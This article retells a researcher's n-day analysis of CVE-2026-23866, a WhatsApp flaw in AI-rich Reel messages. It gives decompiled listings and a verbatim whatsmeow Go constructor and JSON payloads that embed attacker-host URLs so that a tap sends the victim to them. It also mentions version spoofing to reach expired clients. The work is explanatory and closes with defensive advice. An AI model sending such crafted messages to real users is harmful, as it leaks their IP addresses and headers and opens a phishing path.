
nmb3rs; Discord numb3rss), 5 October 2026, edit 10 October 2026. Code, tables and figures below are reproduced verbatim with attribution captions.Executive Summary
On 1 May 2026, CVE-2026-23866 landed as a WhatsApp n-day: incomplete validation of AI-rich response messages that carry Instagram Reels. A malicious user can make another user’s client process media from an arbitrary URL, which can leak request headers and the victim IP. numb3rs treated the public NIST/NVD one-liner as the only starting brief, grabbed WhatsApp iOS 25.9.72, and grepped the unzipped IPA for AiRich. That joke-simple first step is how the rest of the post is built: protobuf unpackers in SharedModules, a Swift/ObjC tap path that ends in UIApplication openURL:, and an honest admission that the automatic zero-click media sink named in the CVE was not found.
This article follows that write-up in source order: the version window (iOS 2.25.8.0 through before 2.26.15.72, Android 2.25.8.0 through before 2.26.7.10), the AIRichResponseReelItem fields, the IDA listings, a whatsmeow constructor that places attacker URLs in videoURL / thumbnailURL / profileIconURL, the 1-click Safari redirect on current builds, and the 10 October edit that guesses a LaTeX unifiedData image URL as the patched shape of the old unauthenticated fetch. Kitchen-table notes explain why a chat bubble can make a phone visit a stranger’s server. Operator notes map CWE-20, a 1-click ATT&CK path, and why a missing 0-click sink is still a finding. The published Go and JSON stay verbatim with the original [VPS_URL] placeholders. This article does not add a version-spoof IPA, a Frida 0-click, or a filled-in exploit tree.
URL.init(string:) then -[UIApplication openURL:options:completionHandler:] from -[ReelCollectionViewCell handleTap]. That is 1-click, attacker-controlled. The CVE’s automatic media-processing consumer was not reproduced. CWE-20 Improper Input Validation is the honest class; CWE-601 (open redirect into Safari) describes the tap path; CWE-918 is a cousin only if you stretch “the victim client fetches” into SSRF language. ATT&CK for the proven path: T1204.001 User Execution: Malicious Link inside a trusted messenger.

An n-day with only the public sentence
numb3rs is explicit about the rules of the game. The only intelligence used is what NIST published. Vulnerable versions: iOS 2.25.8.0 < 2.26.15.72, Android 2.25.8.0 < 2.26.7.10. The English is about AI-rich Instagram Reels and arbitrary media URLs. The author is more at home on iOS, so that is the lab. IDA Pro does the decompile. The binaries, luckily, are not huge.
Incomplete validation of AI rich response messages for Instagram Reels in WhatsApp […] could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device […] NIST / NVD text as quoted by numb3rs
The vulnerability is called low-grade in the post. The interest is the product, not the CVSS. WhatsApp is a new target for this author; the n-day is a guided tour of how Meta ships protocol parsing in SharedModules and UI logic in the main binary, compiled with enough inlining that IDA becomes a maze of stubs.
Top-tier hacking, also known as grep
The first move is not a symbolic executor. It is grep AiRich on the unzipped IPA, because the CVE said AI-rich. Three hits: SharedModules.framework, WABloksKit.framework, and the main WhatsApp binary.
number@notamalware$ grep "AiRich" -ri
grep: Frameworks/SharedModules.framework/SharedModules: binary file matches
grep: Frameworks/WABloksKit.framework/WABloksKit: binary file matches
grep: WhatsApp: binary file matches
Source: original article. SharedModules is where protocol messages are unpacked. Plenty of AiRich functions live there. The hunt is for processing of media that loads an arbitrary URL. A video load for an Instagram Reel with no check on the link is the working hypothesis. The class name WAPBAIRichResponseMessage_AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata is the kind of identifier that makes protobuf authors proud and reverse engineers grateful.

Next to the class list sits an unpacker that is almost a one-liner: call a helper, then protobuf_c_message_unpack against the descriptor for airich_response_content_items_metadata.
__int64 whatsapp__airich_response_message__airich_response_content_items_metadata__unpack()
{
sub_18C3DB4();
return protobuf_c_message_unpack(&whatsapp__airich_response_message__airich_response_content_items_metadata__descriptor);
}
Source: original article. Parsing is not the product logic. The main WhatsApp binary is where URLs get consumed. Imports there already name the fields the protobuf advertised.

SharedModules owning protobuf-c unpackers is a clean split: schema on one side, Swift UI on the other. When Meta inlines the UI, the schema side is still the map. Start there even if the CVE sentence sounds like a renderer bug.The protobuf is the spec
The schema numb3rs uses is public in tulir’s whatsmeow WAAICommonDeprecated.proto around the AIRichResponseContentItemsMetadata message. That is not a leak. It is the community reverse of the WhatsApp E2E protobufs.
message AIRichResponseContentItemsMetadata {
enum ContentType {
DEFAULT = 0;
CAROUSEL = 1;
}
message AIRichResponseContentItemMetadata {
oneof aIRichResponseContentItem {
AIRichResponseReelItem reelItem = 1;
}
}
message AIRichResponseReelItem {
optional string title = 1;
optional string profileIconURL = 2;
optional string thumbnailURL = 3;
optional string videoURL = 4;
}
repeated AIRichResponseContentItemMetadata itemsMetadata = 1;
optional ContentType contentType = 2;
}
Source: original article, matching the whatsmeow proto. The interesting payload is AIRichResponseReelItem: optional strings title, profileIconURL, thumbnailURL, videoURL. A carousel of those items is legal in the type system. Nothing in the schema says the URLs must be Instagram CDNs. If the client does not add that check, the schema has already lost.
Cross-refs, -O1, and a stub that stores videoUrl
Crossing the metadata class lands sub_101AF22F0. Through the -O1 fog you can still see selectors: videoURL, title, profileIconURL, then a call into sub_1013B30C0. numb3rs thanks Meta for compiling with -O1 the way you thank a dentist.
__int64 __fastcall sub_101AF22F0(__int64 a1)
{
__int64 v1; // x30
int v2; // w0
int v3; // w2
__int64 v4; // x1
__int64 v5; // x0
__int64 v6; // x1
int v7; // w0
int v8; // w2
int v9; // w0
int v10; // w2
__int64 v11; // x0
__int64 v12; // x1
__int64 v13; // x2
__int64 v14; // x3
sub_101B55B2C(a1, v1);
v2 = sub_101B2E450();
if ( v4 )
{
v5 = sub_101B51EB0(v2, &selRef_videoURL, v3);
if ( v6 )
{
v7 = sub_101B50E40(v5);
sub_101B51EB0(v7, &selRef_title, v8);
sub_101B516D4();
sub_101B51EB0(v9, &selRef_profileIconURL, v10);
sub_101B5341C();
sub_101B5157C();
sub_1013B30C0();
}
else
{
sub_101B50780(v5);
}
}
sub_101B506F8();
type metadata accessor for RichResponseReelItem();
sub_101B52DC8();
sub_101B55B18();
return sub_10001FFAC(v11, v12, v13, v14);
}
Source: original article, IDA decompilation of sub_101AF22F0. The stub at sub_1013B30C0 stores the URL into a RichResponseReelItem instance. The listing is ARM64 with a function chunk at 0x10140A304 — the kind of split that makes following arguments a sport.
__text:00000001013B30C0 ; void sub_1013B30C0()
__text:00000001013B30C0 sub_1013B30C0 ; CODE XREF: sub_101AF22F0+80↓p
__text:00000001013B30C0
__text:00000001013B30C0 arg_50 = 0x50
__text:00000001013B30C0 arg_58 = 0x58
__text:00000001013B30C0
__text:00000001013B30C0 ; FUNCTION CHUNK AT __text:000000010140A304 SIZE 00000018 BYTES
__text:00000001013B30C0
__text:00000001013B30C0 MOV X9, X30
__text:00000001013B30C4 BL sub_10140D35C
__text:00000001013B30C8 MOV X30, X9
__text:00000001013B30CC STP X29, X30, [SP,#arg_50]
__text:00000001013B30D0 ADD X29, SP, #arg_50
__text:00000001013B30D4 MOV X19, X7
__text:00000001013B30D8 BL sub_1014103C8
__text:00000001013B30DC BL sub_10140DF88
__text:00000001013B30E0 MOV X25, X1
__text:00000001013B30E4 MOV X26, X0
__text:00000001013B30E8 MOV X27, X8
__text:00000001013B30EC BL _$s10Foundation4UUIDVACycfC ; UUID.init()
__text:00000001013B30F0 BL sub_10140C468
__text:00000001013B30F4 LDRSW X8, [X0,#0x14]
__text:00000001013B30F8 ADD X8, X27, X8
__text:00000001013B30FC STP X26, X25, [X8]
__text:00000001013B3100 LDRSW X8, [X0,#0x18]
__text:00000001013B3104 ADD X8, X27, X8
__text:00000001013B3108 STP X24, X23, [X8]
__text:00000001013B310C LDRSW X8, [X0,#0x1C]
__text:00000001013B3110 ADD X8, X27, X8
__text:00000001013B3114 STP X22, X21, [X8]
__text:00000001013B3118 LDRSW X8, [X0,#0x20]
__text:00000001013B311C ADD X8, X27, X8
__text:00000001013B3120 STP X20, X19, [X8]
__text:00000001013B3124 LDP X29, X30, [SP,#arg_50]
__text:00000001013B3128 B loc_10140A304
__text:000000010140A304 loc_10140A304 ; CODE XREF: sub_1013B30C0+68↑j
__text:000000010140A304 ; sub_1013B8508+148↑j ...
__text:000000010140A304 LDP X20, X19, [SP,#arg_40]
__text:000000010140A308 LDP X22, X21, [SP,#arg_30]
__text:000000010140A30C LDP X24, X23, [SP,#arg_20]
__text:000000010140A310 LDP X26, X25, [SP,#arg_10]
__text:000000010140A314 LDP X28, X27, [SP+arg_0],#0x60
__text:000000010140A318 RET
Source: original article, IDA disassembly of sub_1013B30C0. Keep x-refing. The next job is the function that actually loads one of those URLs.

Dynamic debugging was off the table by choice. Diffing patched versus vulnerable binaries was off the table because of compiler optimizations. The remaining tool, in the author’s words, is guessing. Several hours later, a function that consumes videoUrl:
// positive sp value has been detected, the output may be wrong!
__int64 sub_1013E678C()
{
_QWORD *v0; // x22
__int64 v1; // x24
int v2; // w1
__int64 v3; // x0
__int64 v4; // x0
__int64 v5; // x0
__int64 v6; // x0
__int64 v7; // x0
__int64 v8; // x27
__int64 result; // x0
__int64 v10; // x23
__int64 v11; // x28
int v12; // w2
int v13; // w3
int v14; // w4
int v15; // w5
int v16; // w6
int v17; // w7
__int64 v18; // x26
__int64 v19; // x20
_QWORD *v20; // x0
__int64 v21; // x0
char v22; // zf
__int64 v23; // x0
__int64 v24; // x0
__int64 v25; // x0
__int64 v26; // x0
id v27; // x24
NSURL *v28; // x8
__int64 v29; // x0
__int64 v30; // x20
__int64 v31; // x25
__int64 v32; // x1
Class isa; // x26
__int64 v34; // x0
__int64 v35; // x0
__int64 v36; // x0
__int64 v37; // x0
__int64 v38; // x0
__int64 (__fastcall *v39)(__int64); // x8
__int64 v40; // x0
int v41; // [xsp-8h] [xbp-8h]
sub_10140D35C();
v41 = v2;
v3 = sub_10001FCE0(&qword_103BE1A70);
v4 = sub_10140A338(v3);
v5 = (sub_10140C760)(v4);
(sub_10140C894)(v5);
v6 = sub_1014104CC();
v7 = (sub_10140A690)(v6);
v8 = (sub_10140C468)(v7);
sub_10140A338(v8);
sub_10140C850();
result = sub_1013E5234();
if ( result )
{
v10 = result;
v11 = Array.count.getter(*(result + 72));
if ( (IndexPath.item.getter)() >= v11 )
{
v25 = (sub_10140D344)(v10, v41, v12, v13, v14, v15, v16, v17);
return swift_release(v25);
}
else
{
v18 = (IndexPath.item.getter)();
sub_1013E644C();
v19 = *(v10 + 72);
sub_10140BDB0();
v20 = Array.subscript.getter(v0, v18, v19, v8);
sub_10140BDCC(v20);
URL.init(string:)(*(v0 + *(v8 + 32)), *(v0 + *(v8 + 32) + 8));
v21 = (sub_10140BB78)(v1);
if ( v22 )
{
v23 = sub_10140CE5C(v21);
v24 = sub_10140CE54(v23, type metadata accessor for RichResponseReelItem);
return (sub_10140E5EC)(v24, &qword_103BE1A70);
}
else
{
v26 = (sub_10140E130)(v21);
(sub_10140D2D8)(v26);
v27 = objc_retainAutoreleasedReturnValue(objc_msgSend(objc_opt_self(&OBJC_CLASS___UIApplication), "sharedApplication"));
URL._bridgeToObjectiveC()(v28);
v30 = v29;
sub_10001FCE0(&qword_103BF6B78);
v31 = sub_10140AA6C();
(type metadata accessor for OpenExternalURLOptionsKey)(0LL);
sub_10140BCF0(&unk_103C81BA0, v32, type metadata accessor for OpenExternalURLOptionsKey, &unk_1041EDA60);
(sub_10140E0A8)(v31);
isa = Dictionary._bridgeToObjectiveC()().super.isa;
sub_10140C82C();
v34 = sub_10140CE5C(objc_msgSend(v27, "openURL:options:completionHandler:", v30, isa, 0LL));
v35 = sub_10140BD28(v34);
v36 = sub_10140BCB8(v35);
v37 = (sub_10140BE20)(v36);
v38 = sub_10140BF68(v37);
v40 = v39(v38);
return sub_10140CE54(v40, type metadata accessor for RichResponseReelItem);
}
}
}
return result;
}
Source: original article, IDA decompilation of sub_1013E678C. IDA warns that a positive SP value was detected and the output may be wrong. Even so, the interesting calls survive: URL.init(string:) on a field pulled from the reel item, then on the success path objc_msgSend(..., "openURL:options:completionHandler:", ...) against UIApplication. That is Safari (or whatever handles the URL) on a string that came out of the protobuf.
The Objective-C wrapper that users actually tap is a cell in the reel collection:
void __cdecl -[ReelCollectionViewCell handleTap](_TtC14WAMessageViews22ReelCollectionViewCell *self, SEL a2)
{
void *v2; // x20
sub_10140BED4(self, a2);
sub_1013E4B8C();
objc_release(v2);
}
Source: original article. -[ReelCollectionViewCell handleTap] is the 1-click door. The URL is attacker-controlled. The CVE, however, does not require a tap. This sink is a related finding, not the NVD sentence as written.
URL.init(string:) on stored fields, then openURL:options:completionHandler:. If init fails, the function bails through Swift release helpers. If it succeeds, UIKit opens it. There is no visible allow-list in this listing. That absence is the bug class, even before you ask whether a second consumer fetches the same URL as media without a tap.The 0-click sink is a needle, and the backend will not help
Finding the automatic media-processing consumer is, in the post, a haystack problem. Dynamic work on this old build hits a wall: WhatsApp’s backend refuses registration on expired versions. numb3rs mentions the obvious bypass — patch the version in the IPA, re-sign, maybe lie about the device date because the app also has an expiration — and then declines to go there. The interest is the static trail, not a fully weaponized lab.
Sending a crafted rich response is still possible from a modern helper. The constructor uses whatsmeow and puts attacker URLs in every reel field, plus a JSON unifiedData blob and forwarded-AI-bot context. Placeholders stay as in the source.
botJID := "test@bot"
forwardOrigin := waE2E.ContextInfo_ForwardOrigin(4)
unifiedData := []byte(`{
"response_id": "test-reel-123",
"sections": [
{
"view_model": {
"__typename": "GenAIHScrollLayoutViewModel",
"primitives": [
{
"__typename": "GenAIReelPrimitive",
"reels_url": "http://[VPS_URL]/test.mp4",
"thumbnail_url": "http://[VPS_URL]/test.jpg",
"creator": "testuser",
"avatar_url": "http://[VPS_URL]/test.jpg",
"reels_title": "Test Reel",
"likes_count": 123,
"shares_count": 12,
"view_count": 4567,
"reel_source": "IG",
"is_verified": false
}
]
}
}
]
}`)
rich := &waE2E.AIRichResponseMessage{
MessageType: waAICommonDeprecated.
AIRichResponseMessageType_AI_RICH_RESPONSE_TYPE_STANDARD.
Enum(),
Submessages: []*waAICommonDeprecated.AIRichResponseSubMessage{
{
MessageType: waAICommonDeprecated.
AIRichResponseSubMessageType_AI_RICH_RESPONSE_CONTENT_ITEMS.
Enum(),
ContentItemsMetadata: &waAICommonDeprecated.AIRichResponseContentItemsMetadata{
ContentType: waAICommonDeprecated.
AIRichResponseContentItemsMetadata_CAROUSEL.
Enum(),
ItemsMetadata: []*waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata{
{
AIRichResponseContentItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
ReelItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
Title: proto.String("testuser"),
ProfileIconURL: proto.String("http://[VPS_URL]/avatar.jpg"),
ThumbnailURL: proto.String("http://[VPS_URL]/test.jpg"),
VideoURL: proto.String("http://[VPS_URL]/test.mp4"),
},
},
},
},
},
},
},
UnifiedResponse: &waAICommon.AIRichResponseUnifiedResponse{
Data: unifiedData,
},
ContextInfo: &waE2E.ContextInfo{
IsForwarded: proto.Bool(true),
ForwardingScore: proto.Uint32(1),
ForwardedAiBotMessageInfo: &waAICommon.ForwardedAIBotMessageInfo{
BotJID: proto.String(botJID),
},
ForwardOrigin: &forwardOrigin,
},
}
message := &waE2E.Message{
BotForwardedMessage: &waE2E.FutureProofMessage{
Message: &waE2E.Message{
RichResponseMessage: rich,
},
},
}
Source: original article. On recent WhatsApp, the bubble renders as a reel-like card. Tapping it opens the provided videoUrl in Safari. Old-version UI was not reconstructed; SwiftUI inlining makes those components miserable in IDA, which does not load stubs with arguments attached. Cellebrite Labs’ FunctionInliner is named as a possible way around that, and then left aside.

When we click on the reel, we are redirected on the provided videoUrl in Safari.
numb3rs, Numb3rs’ blog
Conclusion of the first pass: 1-click proven, 0-click not
The first published conclusion is careful. A tap path exists. An automatic path matching the CVE was not found. WhatsApp does extract a URL from a user-controlled protobuf and loads it without proving the destination is trusted. numb3rs suspects that is already bounty-shaped, pointing at kasif-dekel’s WhatsApp deeplink write-up as a prior payout for a similar class. If the UI does not even show the URL and a tap on the card is enough, that is already a vuln. It is not CVE-2026-23866’s sink.
AIRichResponseContentItemsMetadata
|
v
reelItem
|
v
sub_101AF22F0
videoURL / thumbnailURL / profileIconURL / title
|
v
sub_1013B30C0
RichResponseReelItem
|
+----------------------+
| |
v ?
sub_1013E678C CVE media sink
[tap path] [not found]
|
v
URL.init -> UIApplication.openURL
Source: original article. Two future-work ideas are listed, not executed: hardcode a newer version string (and clock) to pass backend checks, or inject a custom dylib that forces the client to load a RichResponseMessage.

- Hardcode a more recent WhatsApp version in the binary to bypass the backend check (and change the phone date past the in-app expiration).
- Write and import a custom
.dylibto force-load a customRichResponseMessage.
openURL path plus unconstrained protobuf URL fields.Edit, 10 October 2026: LaTeX unifiedData as a possible media sink
Five days after the first post, an edit. AiRichResponseMessage objects can carry unifiedData with LaTeX render objects: latex_expression, url, height, weidth (the post’s spelling). Patched clients add a nested latex_image with its own url, height, and width. The hypothesis: vulnerable builds fetched that URL without proving it was authentic; patched builds either wrap it, allow-list it, or ignore it.
A test unifiedData blob was sent with whatsmeow to a latest client:
{
"response_id": "latex-test-123",
"sections": [
{
"view_model": {
"__typename": "GenAISingleLayoutViewModel",
"primitive": {
"__typename": "GenAIMarkdownTextUXPrimitive",
"text": "La formule est {{LATEX_0}}image{{/LATEX_0}}",
"inline_entities": [
{
"key": "LATEX_0",
"metadata": {
"__typename": "GenAILatexItem",
"latex_expression": "E=mc^2",
"latex_image": {
"url": "http://[URL_VPS]/test.jpeg",
"width": 200,
"height": 200
},
"font_height": 100.333,
"padding": 20.0
}
}
]
}
}
}
]
}
Source: original article. The LaTeX object renders. Height and width change the layout. No image appears. Guesses in the post: untrusted domain, unverified bot, or the method is fully deprecated. Testing on a vulnerable build is promised for later weeks. This article does not invent that later result.

<img src>: just fetch it. New apps seem to draw the formula and skip the picture, or only accept pictures from a short list of servers. Until someone repeats the test on 25.9.72, that is a hunch with a screenshot, not a closed CVE reproduction.Closing note from the author: first mobile VR post, questions welcome on Discord @numb3rss.
What this n-day is, and what it is not
It is not a WhatsApp server RCE. It is not a proven zero-click on current builds. It is a client that used to take URLs out of an AI-rich Instagram Reel wrapper and process media from them, plus a tap path that still opens attacker URLs in Safari on the author’s modern test. The leak surface named in the intro is classic for this class: the victim device makes the HTTP(S) request, so the far end learns IP and headers, and any cookie or scheme handler registered for that URL type becomes interesting.
| Question | What the post actually shows |
|---|---|
| CVE id | CVE-2026-23866, public 1 May 2026 |
| Vendor sentence | Incomplete validation of AI-rich Instagram Reel messages; arbitrary media URL on another device |
| Lab binary | WhatsApp iOS 25.9.72 |
| Version window (NIST as quoted) | iOS 2.25.8.0 through before 2.26.15.72; Android 2.25.8.0 through before 2.26.7.10 |
| Proven sink | 1-click: handleTap → URL.init → UIApplication.openURL (Safari) |
| CVE 0-click sink | Not found / not reproduced |
| Schema | AIRichResponseReelItem videoURL, thumbnailURL, profileIconURL |
| October 10 hypothesis | unifiedData LaTeX url / latex_image.url on patched vs vulnerable |
| Delivery helper | whatsmeow RichResponseMessage constructor (placeholders, not a packed exploit) |
| ATT&CK / CWE | Fit |
|---|---|
| T1204.001 Malicious Link | Reel card tap opens attacker URL |
| T1189 Drive-by Compromise (if 0-click media fetch exists) | Named by the CVE; not reproduced here |
| T1071.001 Web Protocols | Victim client issues HTTP(S) to attacker host |
| CWE-20 Improper Input Validation | URL fields accepted without a trust check |
| CWE-601 URL Redirection to Untrusted Site | Tap path into Safari |
| CWE-441 Unintended Proxy (cousin) | Victim phone fetches attacker media on someone else’s behalf |
For messengers, unconstrained URL fetch is a privacy bug even when it is not a code-exec bug. IP, User-Agent, and timing are enough for tracking. If the URL uses a custom scheme, openURL can become a trampoline into another app. Prior WhatsApp deeplink bounties exist for a reason. numb3rs is right not to upgrade the tap path into the CVE’s 0-click claim.
Key Takeaways
- CVE-2026-23866 is a WhatsApp client bug: AI-rich Instagram Reel messages could make another device process media from an arbitrary URL.
- numb3rs worked only from the public NVD text, on iOS 25.9.72, starting with
grep AiRichon the IPA. - The protobuf already has
videoURL,thumbnailURL, andprofileIconURLwith no trust constraint in the schema. - A 1-click path is proven:
ReelCollectionViewCell handleTap→URL.init→UIApplication.openURLinto Safari. - The CVE’s automatic (no-tap) media sink was not found. Backend version checks blocked easy dynamic work on the old IPA.
- The 10 October edit hypothesizes LaTeX
unifiedDataimage URLs as the patched shape of an old unauthenticated fetch; latest builds render LaTeX without loading the image. - whatsmeow can build the message. That is a lab constructor with placeholders, not a packed 0-click.
Defensive Recommendations
- Patch WhatsApp. Stay on or above iOS 2.26.15.72 and Android 2.26.7.10 for this CVE window. Enterprise MDM should force-store updates; n-days live on laggards.
- Allow-list media hosts. Reel, thumbnail, avatar, and LaTeX image URLs should resolve only to Meta/Instagram (or a documented CDN) after HTTPS and a name check. Fail closed.
- Do not
openURLattacker strings. If a tap must preview a reel, open an in-app player on a validated HTTPS URL, not Safari on whatever the protobuf said. - Show the destination. If a card will leave the app, show the host before the jump. Hidden URLs plus a big tap target are how 1-click bugs get paid.
- Kill expired clients hard. The backend already rejects old versions. Keep doing that. Do not add a compatibility exception for AI-rich messages.
- Hunt protobufs. On a jailbroken lab device or a proxy you control, alert on
AIRichResponse/GenAIReelPrimitive/latex_image.urlpointing off Meta properties. - Treat this as privacy, not only as “low.” Forced fetches leak IP and headers. Combine with a tap-to-Safari trampoline and you have a phishing rail inside a trusted chat.
- Do not run random WhatsApp IPA patches. Version spoofing and injected dylibs are mentioned as future research, not as a tool you should sideload on a daily driver.
Conclusion
The post is a clean n-day diary: one public sentence, one old iOS build, grep, protobuf, xrefs, a tap sink, and an honest miss on the 0-click consumer. Swift inlining and an expired-app backend are the real antagonists, not a missing idea. The October 10 LaTeX edit is the right kind of follow-up — a new field, a screenshot on a patched client, and a promise to retry on the vulnerable one. Until that retry lands, the defensible statement is smaller than the CVE headline and still worth the patch: WhatsApp will take a URL out of an AI-rich reel and, on a tap, ask UIKit to open it. Update the messenger. Allow-list the hosts. Do not confuse a whatsmeow snippet with a 0-click.
Original text: “CVE-2026-23866: Finding a Whatsapp NDay” by numb3rs at Numb3rs’ blog.


